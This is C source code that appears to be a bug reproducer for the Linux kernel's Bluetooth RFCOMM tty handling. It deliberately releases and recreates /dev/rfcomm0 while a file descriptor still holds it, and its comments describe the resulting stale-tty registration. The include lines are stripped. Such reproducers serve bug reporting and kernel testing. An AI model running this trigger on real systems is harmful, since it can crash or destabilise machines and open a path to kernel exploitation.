#include #include #include #include #include #include #include #include #include #include #include #define RFCOMMCREATEDEV _IOW('R', 200, int) #define RFCOMMRELEASEDEV _IOW('R', 201, int) #define BTPROTO_RFCOMM 3 typedef uint8_t u8; typedef uint32_t u32; typedef int16_t s16; typedef uint8_t __u8; /* BD Address */ typedef struct { __u8 b[6]; } __attribute__((packed)) bdaddr_t; struct rfcomm_dev_req { s16 dev_id; u32 flags; bdaddr_t src; bdaddr_t dst; u8 channel; }; void rfcomm(int request, int dev_id) { int fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM); if (fd == -1) { fprintf(stderr, "socket: error: %s\n", strerror(errno)); exit(EXIT_FAILURE); } struct rfcomm_dev_req req; memset(&req, 0, sizeof(req)); req.dev_id = dev_id; req.channel = 1; if (ioctl(fd, request, &req) == -1) { fprintf(stderr, "ioctl: error: %s\n", strerror(errno)); exit(EXIT_FAILURE); } while (close(fd) == -1 && errno == EINTR); } int main(int argc, char *argv[]) { pid_t child; child = fork(); if (child == -1) { fprintf(stderr, "fork: error: %s\n", strerror(errno)); exit(EXIT_FAILURE); } if (child == 0) { printf("Creating\n"); rfcomm(RFCOMMCREATEDEV, 0); printf("Opening /dev/rfcomm0...\n"); int fd = open("/dev/rfcomm0", O_RDWR | O_NOCTTY); if (fd == -1) { fprintf(stderr, "open: error: %s\n", strerror(errno)); rfcomm(RFCOMMRELEASEDEV, 0); exit(EXIT_FAILURE); } exit(EXIT_SUCCESS); } sleep(1); /* This will delete the device, but since we still hold a reference * to it in "fd", the tty won't be unregistered yet... */ printf("Releasing\n"); rfcomm(RFCOMMRELEASEDEV, 0); /* And now we try to register the same tty device... */ printf("Recreating\n"); rfcomm(RFCOMMCREATEDEV, 0); /* Cleanup */ printf("Releasing\n"); rfcomm(RFCOMMRELEASEDEV, 0); while (1) { int status; if (wait(&status) == -1) { if (errno == ECHILD) break; fprintf(stderr, "wait: error: %s\n", strerror(errno)); exit(EXIT_FAILURE); } } return EXIT_SUCCESS; }